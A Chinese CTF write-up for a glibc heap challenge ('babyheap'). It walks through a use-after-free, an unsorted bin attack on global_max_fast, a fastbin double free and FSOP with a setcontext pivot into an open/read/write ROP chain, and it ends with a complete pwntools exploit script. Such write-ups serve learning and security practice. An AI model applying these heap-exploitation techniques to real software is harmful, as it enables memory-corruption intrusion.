巅峰极客的时间恰好和360个人赛重了,就先打了360,结果打完360之后脑袋受不了了……

不过这道题也真挺难的……佩服当场做出的师傅们

所有题目都在:Github

checksec

1
2
3
4
5
6
7
[*] '/home/dajun/binary/top_geek/pwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

保护全开,话说现在的题一般都全开了吧……

静态分析

经典的菜单题,但是有特殊的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 sub_CA0()
{
FILE *v0; // rax
FILE *v1; // rbx
int v2; // esp
void *v3; // rdi
int v4; // ebx
__int64 result; // rax
unsigned __int64 v6; // rt1
__int64 v7; // [rsp+0h] [rbp-28h]
unsigned __int64 v8; // [rsp+8h] [rbp-20h]

v8 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v0 = fopen("/dev/urandom", "r"); //打开了urandom,获取到了文件描述符
if ( !v0 )
{
puts("get random fail");
exit(0);
}
v1 = v0;
qword_2020B0 = (__int64)&v0[-1]._unused2[4]; //把不知道什么给了qword_2020B0
stream = v0; //把文件描述符给了全局变量stream
setvbuf(v0, 0LL, 2, 0LL);
if ( !fread(&v7, 1uLL, 8uLL, v1) )
{
puts("read random fail");
exit(0);
}
v3 = (void *)(v2 & 0xFFFF0000);
qword_2020B8 = (__int64)mmap(v3, 0x1000uLL, 3, 34, -1, 0LL);
if ( v3 != (void *)qword_2020B8 )
{
puts("mmap fail!");
exit(0);
}
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) ) //声明沙箱规则
{
puts("Could not start seccomp!");
exit(-1);
}
v4 = prctl(22, 2LL, &unk_202070);
if ( v4 == -1 || (puts("welcome to babyheap!!!"), v6 = __readfsqword(0x28u), result = v6 ^ v8, v6 != v8) )
{
puts("Could not start seccomp2!");
exit(v4);
}
return result;
}

题目在整个菜单程序开始的时候,做了这么多事情,最主要就是把urandom的文件描述符给了全局变量stream,以及声明了沙箱。

一般看见prctl函数大概就知道,它不让getshell,只能通过orw或者其他类似于数组经济线上的那种方式……

看一下沙箱规则

1
2
3
4
5
6
7
8
9
10
11
12
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x04 0x00 0x40000000 if (A >= 0x40000000) goto 0008
0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0009
0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW

很明显了,orw

程序流程

  1. Add note
  2. Delete note
  3. Show note
  4. Change
  5. Exit

漏洞点

在delete函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int sub_1000()
{
__int64 v0; // rbx
unsigned __int64 v1; // rax
void *v2; // rdi

v0 = qword_2020B8;
puts("input your index:");
v1 = sub_E60("input your index:");
if ( v1 > 0xF || (v2 = *(void **)(v0 + 16 * v1 + 8)) == 0LL )
{
puts("out of range or note not exist");
exit(-1);
}
free(v2); //漏洞点
return puts("note delete success!!!");
}

但是,虽然是这么简单的漏洞,它却在add函数以及change函数中给了限制,让漏洞更难被利用


在add函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
……

if ( v3 <= 0x7F )
{
puts("Invalid size!");
exit(-1);
}

……

v5 = malloc(v3); //v3是size
if ( (unsigned __int64)v5 < qword_2020B0 || (unsigned __int64)v5 > qword_2020B0 + 0x600 )
{
puts("you are bad");
exit(-1);
}

……

它限制堆块大小必须大于0x7f,即不能申请fastbin

同时它又限制申请的堆块不能离0x2020b0这个偏移存的地址相差0x600,而0x2020b0存的是堆块的基地址


在change函数中

1
fread(v3, 1uLL, *v2, stream);   //v3是堆地址,*v2是size

它是从stream往堆里读size个数据,stream是urandom的文件描述符,结果就导致根本没法用change这个函数来做什么有用的事情

动态调试

在我动调的过程中,我发现在内存里早就分配了一个size为0x230的堆块,这个堆块的地址是堆的基地址,_IO_list_all里面存的指针也指向了这个块

这就意味着,该堆块是一个_IO_FILE结构体

1
2
3
4
5
6
7
8
0x55bda3f43000 PREV_INUSE {
prev_size = 0,
size = 561,
fd = 0xfbad248b,
bk = 0x55bda3f43093,
fd_nextsize = 0x55bda3f43093,
bk_nextsize = 0x55bda3f43093
}

接下来在队友的帮助下,我终于耗时半天多做出来这道题了……QAQ

解题思路

利用malloc_consolidate以及unsorted attack来覆盖global_max_fast

申请如下格式的块

idx size
0 0x90
1 0x90
2 0x90
3 0x90
7 0xf0
8 0xf0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x559b8d502230:	0x00007f0472a04260	0x0000000000000091  <- 0
0x559b8d502240: 0x0000000000636261 0x0000000000000000
0x559b8d502250: 0x0000000000000000 0x0000000000000000
0x559b8d502260: 0x0000000000000000 0x0000000000000000
0x559b8d502270: 0x0000000000000000 0x0000000000000000
0x559b8d502280: 0x0000000000000000 0x0000000000000000
0x559b8d502290: 0x0000000000000000 0x0000000000000000
0x559b8d5022a0: 0x0000000000000000 0x0000000000000000
0x559b8d5022b0: 0x0000000000000000 0x0000000000000000
0x559b8d5022c0: 0x0000000000000000 0x0000000000000091 <- 1
0x559b8d5022d0: 0x0000000000636261 0x0000000000000000
0x559b8d5022e0: 0x0000000000000000 0x0000000000000000
0x559b8d5022f0: 0x0000000000000000 0x0000000000000000
0x559b8d502300: 0x0000000000000000 0x0000000000000000
0x559b8d502310: 0x0000000000000000 0x0000000000000000
0x559b8d502320: 0x0000000000000000 0x0000000000000000
0x559b8d502330: 0x0000000000000000 0x0000000000000000
0x559b8d502340: 0x0000000000000000 0x0000000000000000
0x559b8d502350: 0x0000000000000000 0x0000000000000091 <- 2
0x559b8d502360: 0x0000000000636261 0x0000000000000000
0x559b8d502370: 0x0000000000000000 0x0000000000000000
0x559b8d502380: 0x0000000000000000 0x0000000000000000
0x559b8d502390: 0x0000000000000000 0x0000000000000000
0x559b8d5023a0: 0x0000000000000000 0x0000000000000000
0x559b8d5023b0: 0x0000000000000000 0x0000000000000000
0x559b8d5023c0: 0x0000000000000000 0x0000000000000000
0x559b8d5023d0: 0x0000000000000000 0x0000000000000000

free(2),再free(0),然后再show(0),就可以leak出heap的地址

然后再free(1),此时就会触发malloc_consolidate,使这三个块合并成一个大块,size为0x1b0

此时show(0)就可以得到libc的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x55bda3f43230:	0x00007f0a92415260	0x00000000000001b1  <- 0
0x55bda3f43240: 0x00007f0a92416b78 0x00007f0a92416b78
0x55bda3f43250: 0x0000000000000000 0x0000000000000000
0x55bda3f43260: 0x0000000000000000 0x0000000000000000
0x55bda3f43270: 0x0000000000000000 0x0000000000000000
0x55bda3f43280: 0x0000000000000000 0x0000000000000000
0x55bda3f43290: 0x0000000000000000 0x0000000000000000
0x55bda3f432a0: 0x0000000000000000 0x0000000000000000
0x55bda3f432b0: 0x0000000000000000 0x0000000000000000
0x55bda3f432c0: 0x0000000000000090 0x0000000000000090 <- 1
0x55bda3f432d0: 0x0000000000636261 0x0000000000000000
0x55bda3f432e0: 0x0000000000000000 0x0000000000000000
0x55bda3f432f0: 0x0000000000000000 0x0000000000000000
0x55bda3f43300: 0x0000000000000000 0x0000000000000000
0x55bda3f43310: 0x0000000000000000 0x0000000000000000
0x55bda3f43320: 0x0000000000000000 0x0000000000000000
0x55bda3f43330: 0x0000000000000000 0x0000000000000000
0x55bda3f43340: 0x0000000000000000 0x0000000000000000
0x55bda3f43350: 0x0000000000000000 0x0000000000000091 <- 2
0x55bda3f43360: 0x00007f0a92416b78 0x00007f0a92416b78
0x55bda3f43370: 0x0000000000000000 0x0000000000000000
0x55bda3f43380: 0x0000000000000000 0x0000000000000000
0x55bda3f43390: 0x0000000000000000 0x0000000000000000
0x55bda3f433a0: 0x0000000000000000 0x0000000000000000
0x55bda3f433b0: 0x0000000000000000 0x0000000000000000
0x55bda3f433c0: 0x0000000000000000 0x0000000000000000
0x55bda3f433d0: 0x0000000000000000 0x0000000000000000

此时构造

1
2
3
payload = 'a' * 0x80 + p64(0) + p64(0x91) \
+ 'a' * 0x80 + p64(0) + p64(0x21) \
+ p64(0) * 2 + p64(0) + p64(0x21)

然后再add(4, 0x1a0, payload),就可以得到前面那个合并的块,并把块的内容填充为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x55e319de3230:	0x00007f99fd61e260	0x00000000000001b1  <- 0 4
0x55e319de3240: 0x6161616161616161 0x6161616161616161
0x55e319de3250: 0x6161616161616161 0x6161616161616161
0x55e319de3260: 0x6161616161616161 0x6161616161616161
0x55e319de3270: 0x6161616161616161 0x6161616161616161
0x55e319de3280: 0x6161616161616161 0x6161616161616161
0x55e319de3290: 0x6161616161616161 0x6161616161616161
0x55e319de32a0: 0x6161616161616161 0x6161616161616161
0x55e319de32b0: 0x6161616161616161 0x6161616161616161
0x55e319de32c0: 0x0000000000000000 0x0000000000000091 <- 1
0x55e319de32d0: 0x6161616161616161 0x6161616161616161
0x55e319de32e0: 0x6161616161616161 0x6161616161616161
0x55e319de32f0: 0x6161616161616161 0x6161616161616161
0x55e319de3300: 0x6161616161616161 0x6161616161616161
0x55e319de3310: 0x6161616161616161 0x6161616161616161
0x55e319de3320: 0x6161616161616161 0x6161616161616161
0x55e319de3330: 0x6161616161616161 0x6161616161616161
0x55e319de3340: 0x6161616161616161 0x6161616161616161
0x55e319de3350: 0x0000000000000000 0x0000000000000021 <- 2
0x55e319de3360: 0x0000000000000000 0x0000000000000000
0x55e319de3370: 0x0000000000000000 0x0000000000000021
0x55e319de3380: 0x0000000000000000 0x0000000000000000
0x55e319de3390: 0x0000000000000000 0x0000000000000000
0x55e319de33a0: 0x0000000000000000 0x0000000000000000
0x55e319de33b0: 0x0000000000000000 0x0000000000000000
0x55e319de33c0: 0x0000000000000000 0x0000000000000000
0x55e319de33d0: 0x0000000000000000 0x0000000000000000

payload将块1的size的prev_inuse置1,并将其下的块的size变为0x21,以及在块2中又构造了个size为0x21的小块

这样做的目的是为了绕过malloc_consolidate的检测,即检测块1的下一块的下一块的prev_inuse来确认块1的下一块是否被使用,如果是,则不管,如果否,则合并,合并的时候就会触发其他操作导致出错

free(4),再free(1),此时块1就位于unsortedin中了

接下来

1
add(5, 0x1a0, 'a'*0x80+p64(0)+p64(0x91)+p64(leak)+p64(leak + 0x1c70))

leak是leak出来的libc的地址,为main_arena+88

这样又把大块分配了出来,此时内存格局为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x55b1bc2d3230:	0x00007fef77c65260	0x00000000000001b1  <- 0 4 5
0x55b1bc2d3240: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3250: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3260: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3270: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3280: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3290: 0x6161616161616161 0x6161616161616161
0x55b1bc2d32a0: 0x6161616161616161 0x6161616161616161
0x55b1bc2d32b0: 0x6161616161616161 0x6161616161616161
0x55b1bc2d32c0: 0x0000000000000000 0x0000000000000091 <- 1
0x55b1bc2d32d0: 0x00007fef77c66b78 0x00007fef77c687e8 <- &global_max_fast-0x10
0x55b1bc2d32e0: 0x6161616161616161 0x6161616161616161
0x55b1bc2d32f0: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3300: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3310: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3320: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3330: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3340: 0x6161616161616161 0x6161616161616161
0x55b1bc2d3350: 0x0000000000000090 0x0000000000000020 <- 2
0x55b1bc2d3360: 0x0000000000000000 0x0000000000000000
0x55b1bc2d3370: 0x0000000000000000 0x0000000000000021
0x55b1bc2d3380: 0x0000000000000000 0x0000000000000000
0x55b1bc2d3390: 0x0000000000000000 0x0000000000000000
0x55b1bc2d33a0: 0x0000000000000000 0x0000000000000000
0x55b1bc2d33b0: 0x0000000000000000 0x0000000000000000
0x55b1bc2d33c0: 0x0000000000000000 0x0000000000000000
0x55b1bc2d33d0: 0x0000000000000000 0x0000000000000000

块1的bk就被改成了&global_max_fast-0x10,同时,unsorted bin指向的也是块1

1
2
3
4
5
pwndbg> unsortedbin 
unsortedbin
all [corrupted]
FD: 0x55b1bc2d32c0 —▸ 0x7fef77c66b78 (main_arena+88) ◂— 0x55b1bc2d32c0
BK: 0x55b1bc2d32c0 —▸ 0x7fef77c687e8 (free_list) ◂— 0x0

这时再add(6, 0x80, 'abc')就会触发unsorted bin attack,将global_max_fast修改

到此,攻击global_max_fast就完成了

FSOP

做题的时候官方给出过提示,vtable fake

还记得最开始添加的块7和块8么,现在就派上用场了,用他们来double free

1
2
3
dele(7)
dele(8)
dele(7)

为了控制程序流程,我们要控制_IO_list_all,结果就发现_IO_list_all所指就在堆上,堆的基址处,然后又在heap_base + 0x13的地方发现

1
2
pwndbg> x/gx 0x55b1bc2d3000+0x13
0x55b1bc2d3013: 0x2d309300000000fb

因为检查size的时候只取最后四个字节,所以这里完全可以作为一个size为0xf0的块的size

所以,heap_addr = heap_base + 0x13 - 0x8

将块用double free分配到heap_addr

double free的同时会产生两个块,由于题目所给空间比较小,因此要将这两个块一并用上

我的思路是,覆盖_IO_FILE__chain为堆地址,然后在产生的两个块上分别构造fake_io_struct以及ropchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
heap_b = heap_base + 0x470 + 0x10
heap_a = heap_base + 0x560 + 0x10


add(9, 0xe0, p64(heap_addr))

pop_rdi = libc.address + 0x0000000000021102
pop_rsi = libc.address + 0x00000000000202e8
pop_rdx = libc.address + 0x0000000000001b92

fake_io_struct = p64(0xfbda2008) \
+ p64(0) * 4 \
+ p64(1) \
+ p64(0) * 3 \
+ p64(0) * 4 + p64(heap_b) \
+ p64(0) + p64(0) * 2 + p64(0) \
+ p64(0xffffffffffffffff) + p64(0) + p64(heap_b+0x48) \
+ p64(libc.sym['open']) + p64(0) * 5 + p64(heap_base+0x80-0x18)

add(0xa, 0xe0, fake_io_struct)


ropchain = 'flag\x00\x00\x00\x00' + p64(heap_b) + p64(0)
ropchain = ropchain.ljust(0xa0-0x60, '\x00')
ropchain += p64(0)
ropchain += p64(pop_rdi) + p64(4)
ropchain += p64(pop_rsi) + p64(heap_base + 0x240)
ropchain += p64(pop_rdx) + p64(0x100) + p64(libc.sym['read'])
ropchain += p64(pop_rdi) + p64(1)
ropchain += p64(pop_rsi) + p64(heap_base + 0x240)
ropchain += p64(pop_rdx) + p64(0x100) + p64(libc.sym['write'])
add(0xb, 0xe0, ropchain)

其中有许多偏移处的各种地址,这是为了迎合一个gadget

覆盖_IO_FILE_chain

1
2
3
4
5
6
7
8
9
fake_vtable = p64(libc.sym['setcontext']+53)

payload = p64(heap_base+0x93)[3:] \
+ p64(heap_base+0x93) * 6 \
+ p64(heap_base+0x93+1) + p64(0) * 4 + p64(heap_a)
#+ p64(3) + p64(0) * 2 + p64(heap_base+0xf0) \
#+ p64(0xffffffffffffffff) + p64(0) + p64(heap_base+0x100) \
#+ p64(0) * 6 + 'aaaaaaaa'
add(0xd, 0xe0, payload + fake_vtable)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 // libc.sym['setcontext']+53
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret

由于执行vtable中的函数的时候,会把_IO_FILE结构体指针当作第一个参数,所以将fake_io_struct构造好之后,就可以让栈迁移到堆上,然后执行我们的ROP链最后读出flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
context(arch='i386',os='linux',log_level='debug')

sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rn = lambda x:io.recv(x)
ru = lambda x:io.recvuntil(x, drop=True)
r = lambda :io.recv()
it = lambda: io.interactive()
success = lambda x, y:log.success(x + ' '+ hex(y))

binary = './pwn'

io = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(idx, size, cont):
ru('Choice:')
sl('1')
ru('input your index:\n')
sl(str(idx))
ru('input your size:\n')
sl(str(size))
ru('input your context:')
sl(cont)

def dele(idx):
ru('Choice:')
sl('2')
ru('input your index:\n')
sl(str(idx))

def show(idx):
ru('Choice:')
sl('3')
ru('input your index:\n')
sl(str(idx))

def change(idx):
ru('Choice:')
sl('4')
ru('input your index:\n')
sl(str(idx))

for i in range(4):
add(i, 0x80, 'abc')

add(7, 0xe0, 'abc')
add(8, 0xe0, 'abc')


dele(2)
dele(0)

show(0)
ru(': ')
heap_base = u64(ru('\n').ljust(8,'\x00')) & ~0xfff
success('heap base:', heap_base)

dele(1)

show(0)
ru(': ')
leak = u64(ru('\n').ljust(8,'\x00'))
success('leak:', leak)
libc.address = leak - 0x3c4b78
success('libc base', libc.address)

payload = 'a' * 0x80 + p64(0) + p64(0x91) \
+ 'a' * 0x80 + p64(0) + p64(0x21) \
+ p64(0) * 2 + p64(0) + p64(0x21)
add(4, 0x1a0, payload)
dele(4)
dele(1)
add(5, 0x1a0, 'a'*0x80+p64(0)+p64(0x91)+p64(leak)+p64(leak + 0x1c70))
add(6, 0x80, 'abc')


heap_addr = heap_base + 0x13 - 0x8
dele(7)
dele(8)
dele(7)


heap_b = heap_base + 0x470 + 0x10
heap_a = heap_base + 0x560 + 0x10


add(9, 0xe0, p64(heap_addr))

pop_rdi = libc.address + 0x0000000000021102
pop_rsi = libc.address + 0x00000000000202e8
pop_rdx = libc.address + 0x0000000000001b92

fake_vtable = p64(libc.sym['setcontext']+53)
fake_io_struct = p64(0xfbda2008) \
+ p64(0) * 4 \
+ p64(1) \
+ p64(0) * 3 \
+ p64(0) * 4 + p64(heap_b) \
+ p64(0) + p64(0) * 2 + p64(0) \
+ p64(0xffffffffffffffff) + p64(0) + p64(heap_b+0x48) \
+ p64(libc.sym['open']) + p64(0) * 5 + p64(heap_base+0x80-0x18)

add(0xa, 0xe0, fake_io_struct)


ropchain = 'flag\x00\x00\x00\x00' + p64(heap_b) + p64(0)
ropchain = ropchain.ljust(0xa0-0x60, '\x00')
ropchain += p64(0)
ropchain += p64(pop_rdi) + p64(4)
ropchain += p64(pop_rsi) + p64(heap_base + 0x240)
ropchain += p64(pop_rdx) + p64(0x100) + p64(libc.sym['read'])
ropchain += p64(pop_rdi) + p64(1)
ropchain += p64(pop_rsi) + p64(heap_base + 0x240)
ropchain += p64(pop_rdx) + p64(0x100) + p64(libc.sym['write'])
add(0xb, 0xe0, ropchain)

payload = p64(heap_base+0x93)[3:] \
+ p64(heap_base+0x93) * 6 \
+ p64(heap_base+0x93+1) + p64(0) * 4 + p64(heap_a)
#+ p64(3) + p64(0) * 2 + p64(heap_base+0xf0) \
#+ p64(0xffffffffffffffff) + p64(0) + p64(heap_base+0x100) \
#+ p64(0) * 6 + 'aaaaaaaa'
add(0xd, 0xe0, payload + fake_vtable)
sl('5')
it()

总结

这道题挺好的,学到了新姿势,同时又更加佩服那些当场做出题的师傅们

这里主要是偏移不好算,而且还有更加简单一点的办法,就是直接覆盖_IO_list_all指向的那个_IO_FILE即第一个块的vtable,然后就有更多的空间来布置vtable和ropchain了,不像我似的,东拼西凑出来的空间